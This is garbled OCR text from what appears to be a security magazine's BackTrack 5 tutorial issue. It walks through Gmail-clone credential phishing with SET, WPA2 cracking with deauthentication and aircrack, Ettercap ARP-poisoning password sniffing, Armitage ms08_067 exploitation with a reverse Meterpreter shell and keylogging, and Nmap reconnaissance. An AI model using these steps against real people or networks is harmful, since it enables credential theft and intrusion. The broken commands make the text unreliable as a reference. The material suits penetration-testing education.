intrusion detection systems to test whether the
IDS is successful in preventing the attacks that
we use to bypass it.

Social Engineering Toolkit In BackTrack 5
The Social-Engineer Toolkit (SET) is specifically
designed to perform advanced attacks against the
human element. Originally this tool was designed
to be released with the http.//www.social-engineer.
org launch and has quickly become a standard tool
in a penetration tester’s arsenal. SET was written
by David Kennedy (ReL1K) and with a lot of help
from the community in incorporating attacks never
before seen in an exploitation toolset. The attacks
built into the toolkit are designed to be targeted a
focused attacks against a person or organization
used during a penetration test.

Features of SET
» Spear-Phishing Attack Vectors

« Website Attack Vectors
* Infectious Media Generator

Figure 42. Social-Engineer Toolkit Il
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Figure 43. Social-Engineer Toolkit IV

* Create a Payload and Listener

* Mass Mailer Attack

+ Teensy USB HID Attack Vector

+ SMS Spoofing Attack vector

» Wireless Access Point Attack vector
» Third Party Module

* Upadte the metal Spolit Framework
» Update the Social-Engineer Toolkit
* Help, Credits, and About

+ Exit the Social-Engineer Toolkit

Step 1

Once you have got the backtrack loaded, open up
your console and type the following command (Fig-
ure 32). Once you are in the SET directory type. /set
to launch the social engineering toolkit (Figure 33).

Step 2

Once SET has been loaded, You should see ma-
ny options, Since we are working with credential
harvester attack method, we will select the second
option which is website attack vectors (Figure 34).

Step 3
Next you would see many options under website at-
tack vectors, we will select the 3rd option (Figure 35).

Step 4

Now, SET will ask us about the type of attack vec-
tor we would like to use, If you have your own web
template, you can go for the third option. In this ar-
ticle, i am going with the first option which gives me
some predefined web templates (Figure 36).

Step 5
Now it asks us to select the web template. In
my case it is GMAIL, which is second option.

Figure 44. The Harvester Toolkit |
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Figure 45. The Harvester Toolkit Il

After selecting the 2nd option and pressing enter
just continue by pressing enter key again. Now
SET will start cloning my local IP address of the
backtrack box (Figure 37).

Step 6

Now open a new terminal and type ifconfig to get
the IP address of your backtrack box (Figure 38).
When the victim visits this ip address, he will get
my cloned gmail website and he will enter his login
credentials (Figure 39).

Step 7
The entered credentials can be found at our SET
terminal as shown in the following Figure 40.

*****Successfully Credential Harvested By Using*****
Social Engineering Attack

BackTrack Tool: The Harvester

Information is a weapon, a successful testing and
a hacking process need a lots of relevant informa-
tion that is why, information gathering so called
foot printing is the first step of hacking. An intelli-
gent penetration tester uses some intelligent tools
and techniques to get the right information on a
right time, for social engineering (human hacking)
you need relevant information about a person. So
the point of this little discussion is to realize the im-
portance of information gathering.

What Is TheHarvester
After getting some knowledge about information
gathering you might be interested to know how to

HomeFeed

Nessus’

B

Usamame

Password

Log in

Figure 46. The Harvester Toolkit Il
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Figure 47. The Harvester Toolkit IV

perform it. TheHarvester is a tool for gathering e-
mail accounts, user names and hostnames/subdo-
mains from different public sources like search en-
gines and PGP key servers. This tools has designed
to help the penetration tester on a earlier stage, it is
an effective and simple tool that is very easy to use.

Supported Sources for Information Gathering

» Google — emails,subdomains/hostnames

* Google profiles — Employee names

* Bing search — emails, sub domains/hostnam-
es, virtual hosts

* Pgp servers — emails, sub domains/hostnames

* LinkedIn — Employee names

« Exalead — emails,subdomains/hostnames

Related Information Gathering Tutorials
Foot-printing or information gathering is not a new
term and we have discussed so many articles with
different tools and techniques before for both Win-
dows and Linux (Ubuntu, Backtrack), here is the
comprehensive list of articles.

» Foot Printing-First Step Of Ethical Hacking

» Maltego — Information Gathering Tool Tutorial

* Dnsmap — DNS Network Mapper

+ Backtrack 5 — DNSenum Information Gather-
ing Tool

Figure 48. Beyond Nessus |
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Figure 49. Beyond Nessus Il

The Harvester Tutorial

Theharvester is a very easy tool to use just fol-
low the tutorial to get the best result. For backtrack
open terminal and locate the directory.

root@bt:cd /pentest/enumeration/theharvester#

For other distributions locate the directory. For
best result | use the command

root@bt:/pentest/enumeration/theharvester#
./theHarvester.py -d google.com -1 500 -b google
root@bt:/pentest/enumeration/theharvester#
./theHarvester.py -d targetsite.com -1 500 -b google

Here
./theHarvester.py is used to start the tool.

* -4 is used to specify the domain.

* -1 is used to limit the number of results.

* b is used to specify that in what search engine
we want to search. We can taje google,Bing etc.

So here is the result with complete details (Fig-

ure 41). Here you can see that different hosts are

found. This is how we gather Information by using

the tool ‘theHarvester “ Only On Backtrack 5.
Enjoy!

Figure 50. Beyond Nessus Il
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Figure 51. Beyond Nessus IV

BackTrack Tool: Nessus

Nessus is one of the best vulnerability scanner
that is available in two mode for both home and
commercial user’s, Nessus plug in for home user
is free of cost. However we have OpenVAS and
Nexpose they both are also a good vulnerability
scanner. Nessus installation in backtrack 5 R2 is
so easy, so how to install Nessus in Backtrack 5
R27? You can follow these steps to install Nessus in
Backtrack 5 R2. There are mainly two ways to get
Nessus on Backtrack 5 R2 first one is to download
a copy of Nessus from its official website but the
easiest way is to use your terminal:

Step 1 - Obtaining an Activation Code
For this article | will use Backtrack5 R2, so start
your bt5 R2 and then follow the steps below:

* On the first step you need to register your Nes-
sus, on bt5 R2 click on Application > Backtrack
> Vulnerability assessment > vulnerability scan-
ner > Nessus > Nessus register.

* You will be on a web page of Nessus; you can
use the link to do the same thing.

* On the website click on home feed for free or
if you want to use Nessus at your work than
choose work feed.

» After a short registration form you will get an
email from Nessus with your activation code.

* Open the terminal and type the command be-
low to register your Nessus.

/opt/nessus/bin/nessus-fetch --register YOUR CODE HERE
/opt/nessus/bin/nessus-fetch --register BSHV-****-
****_****_AEY2

Figure 52. Beyond Nessus V
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Figure 53. Beyond Nessus VI

Step 2 - Activating Nessus
Figure 42

Step 3 - Creating a User Account

* On the second step add user(s) on your Nes-
sus, click on Application > Backtrack > Vulner-
ability asses-sment > vulnerability scanner >
Nessus > Nessus user add.

* Enter the login name, password; if you want to
make the user as the admin than follow the pro-
cedure, on rules just press enter (Figure 43).

Step 4 - Starting Nessus
You are almost done, now this time to start your
Nessus, click on Application > Backtrack > Vulner-
ability assessment > vulnerability scanner > Nessus
> Nessus start (Figure 44)

Step 5 - Accessing the Nessus Web Interface

Once Nessus has been initially started, it will begin
to index and compile all of the plugins. This can take
some time, depending on the speed of your system.
If Nessus is still processing plugins, you may see
the following screen when accessing the web inter-
face: Figure 45. The web interface can be accessed
with your browser by making an HTTPS connec-
tion to TCP port 8834 (e.g. https://localhost:8834/).
If you are using a browser local to the BackTrack5

Hel ]
BE:BE wlan®

Figure 55. Beyond Nessus Vil
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Figure 56. Beyond Nessus IX

R2 distribution, such as the supplied version of
Firefox, be certain that you enable Flash and Ja-
vaScript for this site (Flash is required to access the
Nessus Web Interface, and JavaScript is required
to view some of the reports). You can also access
the Nessus Web Interface remotely by using the IP
address assigned to Backtrackb R2 (e.g. https:/
192.168.238.128:8834/; Figure 46).

Step 6 - Scanning host or network
vulnerability

After putting the user id and password a new win-
dow will open in which you have to click on SCAN

2 hnrl{. | 16 [

B s

Figure 58. Wi-fi Network Tutorial Il
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option > add host > and fill information and select
type of scanning and policy and in scan you have
two option in your hand, either you can put the IP ad-
dress of scanning network or host otherwise you can
create a .txt file in which put all those IP addresses of
systems in the network which you want to scan. And
finally click on Launch Scan (Figure 47).

Step 7 - Launch the Scanning for host or
network

Than successfully it will launch the scanning and
will take some time to scan the host or network
(Figure 48).

Step 8 - Creating of Report

Once it will scan and will display the message that
the host or network successfully scanned and will
create a report about host or network vulnerability
than after you can click on Brower Option to see
the result of running vulnerabilities on the host or
network (Figure 49).

Step 9 - Description about vulnerability

Once you will click on any particular Vulnerability
it will tell you about it's description with Solution,
Risk Factor and Exploitation Method (Figure 50).

****Enjoy Nessus for scanning your host or network vulnerabili-
ty

ok ok ok ok

Crack a Wi-Fi Network’s WPA2 PSK
Password With BackTrack

You already know that if you want to lock down your
Wi-Fi network, you should opt for WPA2 encryption.
But did you know how easy to crack WPA2 Encryp-
tion? Take a look.

Today we’re going to run down, step-by-step, how
to crack a Wi-Fi network with WPA2 security turned
on. But first, a word: Knowledge is power, but power
doesn’t mean you should be a jerk, or do anything il-
legal. Knowing how to pick a lock doesn’t make you
a thief. Consider this article educational, or a proof-
of-concept intellectual exercise.

What You’ll Need

Unless you're a computer security and networking
ninja, chances are you don’t have all the tools on
hand to get this job done. Here’'s what you’ll need:

* A compatible wireless adapter — This is the
biggest requirement. You'll need a wireless
adapter that’s capable of packet injection, and
chances are the one in your computer is not
There are plenty of resources on getting air-
crack-compatible adapters out there.

www.hakin9.org/en
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* A BackTrack Live CD. We already took you
on a full screenshot tour of how to install and
use BackTrack 5, the Linux Live CD that lets
you do all sorts of security testing and tasks.
Download yourself a copy of the CD and burn
it, or load it up in VMware to get started.

* A nearby WPA2-enabled Wi-Fi network. The
signal should be strong and ideally people are
using it, connecting and disconnecting their de-
vices from it. The more use it gets while you
collect the data you need to run your crack, the
better your chances of success.

» Patience with the command line. This is an ten-
step process that requires typing in long, arcane

Web Server

Attacker

Figure 61. Wi-fi Network Tutorial V
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Figure 62. Wi-fi Network Tutorial VI

commands and waiting around for your Wi-Fi
card to collect data in order to crack the pass-
word. Like the doctor said to the short person,
be a little patient.

Crack That WPA2 PSK
Step 1
To crack WPA2 PSK, you’ll need to launch Kon-
sole, BackTrack’s built-in command line. It's right
there on the taskbar in the lower left corner, sec-
ond button to the right. Now, the commands.

First run the following to get a list of your network
interfaces: (Figure 51).

The only one I've got there is labeled wlanO.
Yours may be different; take note of the label and

W addems | MAC Mddeess
190.168001  0B:00:2700:EC%
192 1600 70 OR:00-37 CACHAY

A 15 Target 1 ade 1o Teget 1

Figure 64. Wi-fi Network Tutorial VIII
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write it down. From here on in, substitute it in ev-
erywhere a command includes (interface).

Step 2
Now, run the following four commands. See the
output that | got for them in the Figure 52.

Step 3
Figure 53.

Step 4
Figure 54.

Step 5
Figure 55.

Step 6

Now it’s time to pick your network. Run: Figure 56.
Enter airodump-ng monO, airodump will scan for APs
but will not save any data. We are looking for our
AP’s channel and BSSID. Once you have it, stop
the process (Figure 57).

Step 7
Enter airodump-ng -c¢ 11  -w
98:FC:11:61:5A:50 mon0 (Figure 58)

wpa2cisco -bssid

Step 8

Open a new Terminal: Enter aireplay-ng -0 5 -a
98:FC:11:61:5A:50 =-c 5C:59:48:73:CC:31 mon0, aire-
play will send 5 deauthentication packets to the
station. Repeat aireplay until airodump captures
the handshake. Once captured, stop all processes
(Figure 59).

Step 9

Enter aircrack-ng -w
password.lst wpa2cisco-01.ivs, -w is the location of
your dictionary file, | am using the one included
with BT (Figure 60).

/backtrack/passwords/john/

*****We have successfully cracked WPA2 PSK KEY*****

Sniffing Password with Ettercap -
Backtrack

| am sharing sniffing in Linux — Backtrack using the
Tools ... Ettercap Ettercap on BackTrack already
exists, just use (Figure 61). We can use version
GUI or Console version ... ok immediately wrote
... 1. GUI versions — Open Ettercap with a way to
open a terminal and type Ettercap — gtk and en-
ter .. (it can be opened through the menu) — After
appearing Ettercap click Sniff — unified sniffing or
press shift + u, then select your network interfaces
and then ok.

TBO 03/2013
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* GUI Version of Ettercap (Figure 62)

* Click Hosts — Scan for Host (Figure 63)

+ After scanning like the picture above click
Host — Host list (Figure 64)

* Now do ARP Poisoning click MitM — Arp
poisoning — check Sniff remote connections
— Ok (Figure 65)

* Now Click on Start — Start sniffing ... (Fig-
ure 66) just wait for it ... until there is a user-
name and password like this ... (Figure 67)

» Console version of the Ettercap. Console ver-
sion now, in my opinion is easier this way ...

MAL e
0B:0027RHEC:06

Dwicription

Add to Target 1 Ak b Target 2

Dot iost

Add to Barget | Add ta Taget

BackTrack 5 Toolkit Tutorial

Figure 68. Sniffing Via Ettercap Il

but it works just the same: D — Open Terminal
— type ettercap-Tgi [interfaces]-M ARP: REMOTE
/ + + + — if it means the command interface
can be etno “ettercap -Tgi eth0 -M ARP:

// /7 (Figure 68)

REMOTE

Wait until there is an entry like this:) ... (Figure 69)

*****NOW YOU HAVE SUCCESSFULLY CAPTURED HTTPS
DATA***** PACKETS

Saan |
Import
Hosts
Use Credentials / Chient Side
Remote Exploit Passthe Attack
Escalate Privileges
Durmp Hashes Explora Systam |
Steal Data
Setup Plvoting

Figure 67. Sniffing Via Ettercap Il
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BackTrack Tool: Armitage
Armitage is the GUI based tool for Metasploit, that
shows the targets, exploits in the framework.

Features of Armitage

*  With Armitage you can scan all the alive host
on the network.

* Armitage recommends exploits and will option-
ally run active checks to tell you which exploits
will work.

» If these options fail, use the Hail Mary attack
to unleash Armitage’s smart automatic exploi-
tation against your targets.

* When you successfully exploit the target, With
the click of a menu you will escalate your priv-
ileges, log keystrokes, browse the file system,
and use command shells.

= Eonnect...

B 0 e " CaPRECE L

Figure 72. Find the Exploits with Armitage |
S Archcatons Maces System 7] 713 s e

W et B

Figure 73. Find the Exploits with Armitage Il
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Figure 73. Find the Exploits with Armitage Ill
Requirements

» Backtrack 5 (You can download Backtrack 5 Here)

* MySQL / PostgreSQL

+ Java

* Metasploit All this requirement already includ-
ed in Backtrack 5, if you want the latest update,
just run apt-get update.

Cyber Attack Management

Armitage organizes Metasploit's capabilities
around the hacking process. There are features
for discovery, access, post-exploitation, and ma-
neuver. This section describes these features at a
high-level, the rest of this manual covers these ca-
pabilities in detail (Figure 70).

Armitage’s dynamic workspaces let you define
and switch between target criteria quickly. Use this
to segment thousands of hosts into target sets.
Armitage also launches scans and imports data
from many security scanners. Armitage visualizes
your current targets so you’ll know the hosts you're
working with and where you have sessions.

Armitage recommends exploits and will option-
ally run active checks to tell you which exploits will
work. If these options fail, use the Hail Mary attack

* | payload
* L post

MODULE
PANEL

pirl.0] TA BS PANEL

y other day.
Far el

msf > |

Figure 74. Find the Exploits with Armitage IV
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Figure 75. Find the Exploits with Armitage V

to unleash Armitage’s smart automatic exploitation
against your targets.

Once you're in, Armitage exposes post-exploita-
tion tools built into the Meterpreter agent. With the
click of a menu you will escalate your privileges,
log keystrokes, dump password hashes, browse
the file system, and use command shells. Armit-
age makes it trivial to setup and use pivots. You'll

Entar scan range (0.9, 1921661, 0/24):

0 152.160.222.0/24

Cancel | | 0K |

=[ metasploit v
B3 explo
6 payloads - en
=[ swn r14005 wpdated 00 days
warning: Thi

af the Metasploit Frames 90 days ags.
d :

unity. rapid?.

mat =

Figure 76. Find the Exploits with Armitage VI

Scan Complete!

Use Attacks-=Find Attacks to suggest
applicable explos for your targets.

7001 SPD - 52 Lo )
Mnap 1 hop
Mmap e 1 Wimdow

=]
*1
*1 Mmap:
1 Mnap:
*] N '
=1 p
*1 p
*1 Mmap:
*] Mmap:
Lorgfsubmity .

BackTrack 5 Toolki

[*1 Mmap: Hmap scanned in 6%.3 s

Figure 77. Find the Exploits with Armitage VIl
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use compromised hosts as a hop to attack your
target’'s network from the inside. Armitage uses
Metasploit's SOCKS proxy module to let you use
external tools through your pivots. These features
allow you to maneuver through the network.

The rest of this manual is organized around this
process, providing what you need to know in the
order you'll need it.

Attack Analysis Completa..,

Ve will new see an ‘At menu attached
to each host in the Targets window.

Happy hunting?

. s latent
ed ports on 19 254 are tiltered
# (Verar
match this host

natapl

are filtered

©)
st to give specific 08 detadls

- 1 05 wice dete performed. Please report any incarrect results at http: /fnmap)
.org/submit
[*] Mmap: Mmap done: 256 1P addresses (% hosts up) scanned in 85, 3% seconds
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Figure 81. Find the Exploits with Armitage XI

Step 1: Open Armitage on Backtrack 5

Click on Backtrack > Exploitation Tools > Network
Exploitation Tools > Metasploit Framework > Ar-
mitage. See the Figure 71 for more details how to
open Armitage in Backtrack 5 r2.

Step 2: Connect Armitage
Click on the connect Button. See the Figure 72 for
more details.

I*] Autematically
[*] Fingerprint: "
[*] Selected Target: Window

== 182.168.222,

130:1304) at 7012-05-13 1%

Figure 83. Find the Exploits with Armitage Xl
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{C) Copyright 19852001 Micr

Flgure 84 Flnd the Exploits with Armitage XIV

Step 3: Connecting Armitage
It takes few minutes to connect. So have some pa-
tience (Figure 73).

Step 4: Armitage Window
Here is your Armitage window shown Figure 74.

Armitage has 3 panels

« TARGET PANEL: It represents the computer
IP address and other information.

+ MODULE PANEL: It shows the auxiliary, ex-
ploit, payload and post.

+ TABS PANEL: Armitage opens each dialog,
console, and table in a tab below the module
and target panels. Click the X button to close a
tab (Figure 75).

Step 5: Find the alive host on the Network
* In this step we have to search for the host.
* Under the Nmap Scan, select the option >

Quick Scan (OS detect)
+ See the below image for more details (see Figure 76)

A1F4230088

<)

Flgure 85 F/nd the Exploits with Armitage XV
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Here you have to enter the scan range. Step 6: Finding Attacks
* Here 192.168.109.0/24 this is class C range.
+ Example image shown Figure 77. + Click on the Attacks > Find Attacks.

* Your Scan is complete now. * It will find the most suitable attack for host
* If the Nmap scan find the alive host, then it will shown in the Target Panel.
be shown on your Target Panel. » See the image shown Figure 79.

+ See the Figure 78 for more details.
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When attack analysis finished, it informs with a
message shown in the Figure 80.

Step 7: Set the vulnerability

* Right click on the host

* Click on smb

+ Select the ms08_067_netapi vulnerability (Figure 81).
» Click on the checkbox — Use a reverse connection.
* Now click on the Launch Button (Figure 82).

Step 8

If the target host is vulnerable then its color chang-
es to red. That means we can attack into the com-
puter system (Figure 83). The above image shows
the meterpreter shell.

Examples Of Armitage

Example 1: Opening Command Shell

Right click on the host > Meterpreter1 > Interact >
Command Shell (Figure 84).

* Here is the command shell open in the Tab panel
» See the Figure 85 for more details.

lu wole X | nmap x, wploit. X | exploit X | Moterprater 2 x||"rr.|:u-\.s.u.4 x
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240
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Lr
E64
&4
&4
w13 wchost exe

NT AUTHORS
NT ALTHORMASY... (Y L
CAWINDOWS\EySE... (v

EHL55005E8

Lo Keystrokes ] Refrash

Figure 93. Find the Exploits with Armitage XXIl
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Type ‘dir’ in the shell and you can see the remote sys-
tem directories. For more details see the Figure 86.
This example shows the system information. Type
the system info in the command shell (Figure 87).

Example 2: Take a Screenshot of Remote
Desktop

* Click on the Meterpreter2 > Explore > Screenshot

» See the image for more details

* Next image shows the result (Figure 88).

» Here it is the screenshot of the remote desktop
(Figure 89).

Example 3: Browse Files

* Right click > Meterpreter2 > Explore > Browse Files

* Once you click in the Browse files, it will
browse all the remote files in a tab

» See the Figure 90

* Output: Browse Files (Figure 91)

Example 4: Show processes running on the
Remote Machine

Right click > Meterpreter2 > Explore > Show Process-
es (Figure 92). Here is the output shown Figure 93.

ok ok ok ok

*****Successfully we have used Armitage

VIKAS KUMAR | ETHICAL HACKER | SPEAKER

VIKAS KUMAR (ISHAN) is one of
the leading computer security ex-
perts available in India. VIKAS KU-
MAR born on 26 July 1990 in a town
called Meerut, UP (India). VIKAS KU-
MAR started his Group “hackers4u”
on Facebook in year 2010 and in two
years he bangs the World Wide Web
with good computer ethical hack-
ing articles and going to launch the website on Cyber Securi-
ty & Ethical Hacking and working with a Anti-Hacking Com-
munity “I-hackers4u”. The 22 year old guy have the capability
to compete with the people best in the business so called” Eth-
ical Hacking”. Workshops and Seminars: VIKAS KUMAR have
trained more than 550 people from all around the world,
from countries like Thailand, Australia, Canada, Ghana, Unit-
ed States, South Africa, China, Malaysia, Singapore, Omen,
Yemen, Indonesia, Korea, Iran and etc. www.cyber-hunt.com.
Blog: www.hackyourdreams.webs.com. Linkedin Profile: https.//
www.linkedin.com/profile/view?id=71569482&trk=tab_pro.
Facebook: https.//www.facebook.com/hackers4u. Orkut: https.//
www.orkut.com/Main#Profile?uid=7581821977129211672. Email
ID: vikas_ind2008@yahoo.in; cyberhunt2012@gmail.com
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Real-Time People Search Engine

AnoSearch Inc engine will provide an easy way to search
people in real-time on all social networks.

Beta version soon available on:

WWW.ANOSEARCH.COM
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BackTrack 5:

The Ultimate Security Toolkit

In the security world today, a security professional relies
heavily on knowing the right tools for the job, and knowing
how to use these tools. There are hundreds of tools available
and the list of tools is constantly changing and growing. For
security assessments and penetration testing, there are very
few toolkits as actively supported and all-encompassing as

BackTrack 5.

tion that contains all of the tools necessary

to perform a complete security assessment
of systems, networks, and applications. This arti-
cle will describe some basic practical uses of the
tools within BackTrack 5 as they relate to a net-
work-based penetration test or security assess-
ment. BackTrack 5 was designed with penetration
testing in mind. A pentest is a method of evaluating
and testing the security of a system, network, or
application by performing actions that are meant to
simulate the actions of a malicious attacker.

The tools included in BackTrack 5 are very often
the same tools an attacker might be using against
a network, and understanding these tools and how
effective they might be against your network is an
important step of security in-depth. The tools cov-
ered in this two-part article and their usage will be
outlined in the same order that a network assess-
ment might take place, starting with host discov-
ery and information gathering on discovered tar-
gets, moving onto identifying vulnerabilities within
your targets, followed by attempting exploitation
of the discovered vulnerabilities, and finally, what
to do with your newly gained access, also known
as post-exploitation. Web application assessment
tools will be covered as well.

The first part of the article will cover the basics
of BackTrack 5, simple host discovery and infor-

= HAaRING
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mation gathering of an internal network, as well
as a basic wireless assessment. Part two will cov-
er the steps of discovery and information gather-
ing for an external network assessment, as well
as vulnerability assessment, exploitation, and
post-exploitation. Some other useful tools will be
covered as well. Keep in mind that there are ma-
ny tools available in BT5 and many of their func-
tions can overlap, and the information in this ar-
ticle doesn’'t encompass all of the ways, nor the
only way to perform these actions. Use this infor-
mation as a starting point to discover the real ca-
pabilities of the toolkit. The version of BT5 used
for in this article is BackTrack 5 R2 KDE 64-bit
and there may be slight differences in commands
and available applications if you are using a dif-
ferent version.

BackTrack 5 Basics

There are a few different ways BT5 can be setup
and used. You can create a Live CD or bootable
USB drive and run it in a live environment, install
BT5 to virtual machine (VM), or install BT5 direct-
ly to a hard drive and boot to it as the main OS.
Each method has its perks and drawbacks, but for
the sake continually performing assessments and
testing, creating a BT5 VM is recommended. If you
are new to BT5, the in-depth details of setting up
BT5 will not be covered in this article; however,

TBO 03/2013



BackTrack 5: The Ultimate Security Toolkit

bi: e 15 -1 /peniests
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Figure 1. Tools Manages

the Official BackTrack 5 Wiki and Forums at http.//
www.backtrack-linux.org/ contain all the informa-
tion necessary for getting started.

Once you are up and running, before starting
any information gathering, you should create a
place to store the information you are collect-
ing. Some of the tools in BT5 utilize databases to
store information and one of the strengths of BT5
is that the databases should be preinstalled and
configured to start using without much hassle.
Since the context of this article covers pentest-
ing of multiple clients, creating a separate folder
for each client is recommended. For this assess-
ment, everything will be stored in subfolders in
the ~/pentest directory, created for this demon-
stration. Additionally, results that are stored within
a database should be exported and stored in the
client folder, and the database should be wiped
before the next engagement.

Many of the tools in BT5 can be found in the Ap-
plications menu, under the BackTrack folder. The
tools are organized in folders and subfolders based
on their purpose and abilities. Since some tools
server more than one purpose, some tools are in
several folders; launching the same tools from a
different folder does not change the usage of the
tool. Most tools can also be found in the /pentest/
directory, also organized by use (Figure 1).

Host Discovery and Information
Gathering - Internal Network

An internal test is generally performed on-site, di-
rectly connected to the network that is being tested.

b

rootabt: estg ifconfig
ethn link encap:Ftharnet HWaddr 08:00:27:3c:5c:ae
inet addr:192,162.2.105 Bcast:192.168.2,355 Mask:255.255.255.0
inct6 addr: fo80::200:27ff:fe3c:5cac/64 Scope:link
UP EROADCAST RUNNING MULTICAST MTU:1300 Metric:l
RX packets:412392 errors:0 dropped:0 overruns:@ frame:o
|14 packets:543168 errors:U dropped:0 overruns:0 carrier:d
collisions:0 txgueuelen:lO0Q
RX bytes:19%270832 (199.2 MB) TX bytes:51487871 (51.4 MB)

Figure 2. Determining the Network |
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root@ht : ~/PenTest# nmap -sn -n -v -0l neap/192.168.2.0_ping 197.168.2.0/24

Slarling Mmap 6.00 ( hilp://mmap.vry ) al 2002-05-23 18:43 E0T
Initiating ARP Ping Scan at 18:43

Scanning 105 hosts [1 port/hostl

Completed ARP Ping Scan at 18:43, 0.66c elapsed (105 total hosts)

PV S = N T G RO |

Figure 3. Determining the Network Il

The tester assumes the role of a user with some
access to the network. The first step of any test is
information gathering and target mapping.

Arguably, the best tools in BTS for information
gathering and mapping a network is Nmap. Nmap
is a command-line tool that sends specially crafted
packets to a host or range of hosts and analyzes
the response. Nmap is excellent for host discov-
ery, services discovery through port scanning, OS
identification and much more.

The first step in this process is to find all the live
hosts on the internal network, also known as dis-
covery. First you need to determine the network
you are on, which is as simple as looking at your
own |IP address. Open a terminal and type ifconfig.
Note your inet addr as well as the Mask (Figure 2).

In this case, we are on the 192.168.2.0/24 net-
work. We can use Nmap to discover live hosts on
this subnet and save our results to a file (Figure 3).

Explanation:

* -sn! ping scan, disables port scan for fast dis-
covery

* -n: don’t resolve DNS name of host, for faster
scan

» v set verbosity level of error reporting

output results (nmap,
nmap/192.168.2.0 ping file

* 192.168.2.0/24: scan this entire class C range

xml) to

® -OA. gnmap,

The reason to use the -on option is to output the
results in multiple format types to be used in oth-
er tools. The gnamp file is designed to be parsed
with the shell command grep. Use grep on the gn-

(&
File Edit Bookmarks Help
root@bt: ~/PenTest# grep "Up" nmap/192.168.2.0_ping.gnmap

View

Settings

Host: 192.168.2.2 () Status: Up
Host: 192.168.2.3 () Status: Up
Host: 192.168.2.4 () Status: Up
Host: 192.168.2.5 ()

Status: Up

1hm 1 en o FA PN,

Figure 4. Determining the Network il

map file we just generated to display all hosts that
Nmap determined are up. You can also pipe this
command to word count (wc) to get a count of the
up hosts (Figure 4 and Figure 5).

HaHIN9 /.


http://www.backtrack-linux.org/
http://www.backtrack-linux.org/

Explanation:

+ grep “Up”: search the grepable Nmap file for
“Up” and print the line
* wc -1: count the lines

B

File Edit View Bookm

root@bt : ~/PenTest# grep
39
root@bt : ~/PenTest# |

5 Settings

Help
p" nmap/192,168.2.0_ping.gnmap | wc -1

Figure 5. Determining the Network IV

> targets /192, 166.2.0 all.txt

Figure 6. Determining the Network V

These results display the 39 hosts that responded
to the ping scan on the 192.168.2.0/24 network.
You now have a list of targets you can perform
additional information gathering on, without wast-
ing time scanning for hosts that don’t exist. You
can then use shell commands to create a list of
targets that can be input into Nmap for additional
scans (Figure 6).
Explanation:

* grep “up”: print the lines of up hosts in the file

* cut -f2 -d\: cut field 2 with the delimiter of
space (note the trailing space)

» >: redirect the output to targets/192.168.2.0_all.
txt file

* cat: confirm the targets file looks correct

These steps are basic and outline host discovery
on a single subnet, however in many cases there
will be several subnets that you might have to dis-
cover. Discovery of these subnets isn’t always
easy, using this method in Nmap can be helpful
(Figure 7).

Edit wview Bookmarks
rootght: ~/PenTest# nmap -sn -PE -n -v -0A nmap/subnet_search 192.168.*,1-10.245-254

Starling Neap 6.00 ( hitp://omap.org ) al 2012-65-23 19:09 FOT
Initiating Ping Scan at 19:09

Figure 7. Determining the Network VI

Explanation (new options only):

* -pe: Use ICMP only, helpful for getting accurate
up count traversing subnets

* 192.168.*.1-10,245-254. Scan the first and last
10 IP addresses of all 255 subnets in the
192.168.x address space.

« HaRING
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This command will ping the first and last 10 ad-
dresses on every possible subnet in the 192.168
address space. This is a fast way to discover sub-
nets without having to try every single poten-
tial address within the given range, since in many
cases there will be a device that responds with-
in that range. Keep in mind that this method may
not discover every subnet, if there isn't a system
to respond within the addresses being tested. Us-
ing shell commands, you can create a subnets
targets file to perform host discovery on the newly
discovered subnets (Figure 8).

*Lp" neap/subnet_search.gemsp | cut of2 @ | out of3 o | unig | s

pealeste I —
Figure 8. Determining the Network VIl

Explanation:

® grep “Up”...| cut -f2 -d\. print all up IP ad-
dresses from the file

* cut -f1-3 -d\.: print the first 3 octet of the ip ad-
dresses (the subnet)

* uniq: remove all duplicates, leaving you with a
single address from each subnet

* sed ‘s/$/\.0\/24/7: add a .0/24 to the end of
each line, to be Nmap readable

» > redirect to targets/subnets.txt file

Now, use Nmap just as in the first step, but rath-
er than give it an address range directly on the
command line, use the -iL option to input from the
subnets target file created in the previous step.
Nmap will now scan every address on all three
discovered subnets. Just as before, use shell
commands to create a targets list of the hosts that
were discovered as up (Figure 9 and Figure 10).

PenTes

File Edit View Bookmarks Sellings Help

root@ht -~ /PenTests nmap -sn -PC -n -v -0k neap/all_subneta_ping -1l targets/subnets. txt
Starting Mmap 6,80 ( htip://nmap.org ) at 2012-05-23 19:91 EOT

Lnitiating ARP Ping Scan at 19:41

Scanning 105 hosts |1 part/host]

Figure 9. Determining the Network VIl

=
File Edit View Bookmarks Sellings Help
roolghl : < /PenTests grep "Up® nmap/all_subnets ping.gnmap | cut -12 -d\ >
rootgbt : ~/Fenl ests

Figure 10. Determining the Network IX

targets/allup. txt

You may want to separate your targets list by
subnet, in instances for example where differ-
ent subnets are used for different physical sites,
separated by a slower link. This can easily be ac-
complished with shell commands and the allup.txt
targets file. Performing a word count (wc) on the
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directory will also display the amount of hosts in
each file. Notice the number of hosts in each in-

rooteht:~/PenTeste grep "\.3%." targets/allup.txt = targets/1%2.168.3.0_all. txt
rootght : - /PenTeste grep "\ 2000." targetssallup.txt > targets/192.168 200.0 all.tx
root@ht : ~/PenTest# we -1 targets/*

1 targets/192. 168 200.0 all. txt

39 targets/192.160.2.0_all. txt

6 targets/192.168.3.0 all. txt

46 targets/allup.txt

3 largels/subnets. txl

95 total
soolohl 2~ PenTestz B

Figure 11. Determining the Network X

dividual subnets files adds up to the number of of
hosts in the allup.txt targets file (Figure 11).
Explanation:

* grep “\.3\.~...: print all lines with .3., redirect to
file

* grep “\.200\.~...: print all line with .200., redirect
to file

* wc -1: print the line count for every file in tar-
gets directory

Now that you've gathered all the live targets
from each discovered subnet, you should obtain
as much information as possible about them.
Nmap is also useful for this as it's capable of
probing for open ports, and gathering informa-
tion of the services discovered on these ports.
For the remainder of this section, 2 designated
hosts in the targets/my targets.txt file will be
used (Figure 12).

rootebit: -/PenTests nmap -sv¥ -0 -v -oA nmap/my_targets_service_scan -iL targets/my_targets.tx

Starting Mmap 6.00 ( http://nmap.ory ) at 2012-05-23 20:06 EDT

Figure 12. Determining the Network XI

Explanation:

» —sv: probe ports for service/version information
* -o: enable operating system detection

Once the scan is complete, the files can be exam-
ined and you can see a wealth of information for
the 2 hosts that were scanned (Figure 13).

Now that you have a grasp on the process of
host discovery, OS identification and service
mapping, the GUI tool for Nmap, Zenmap, can
be used to speed up and streamline this process.
Zenmap can be launched from a terminal by typ-
ing zenmap, or from the Applications menu wher-
ever Nmap is found. Zenmap provides a nice
front end for Nmap with the ability to save profiles
for repeated scans and other interesting features
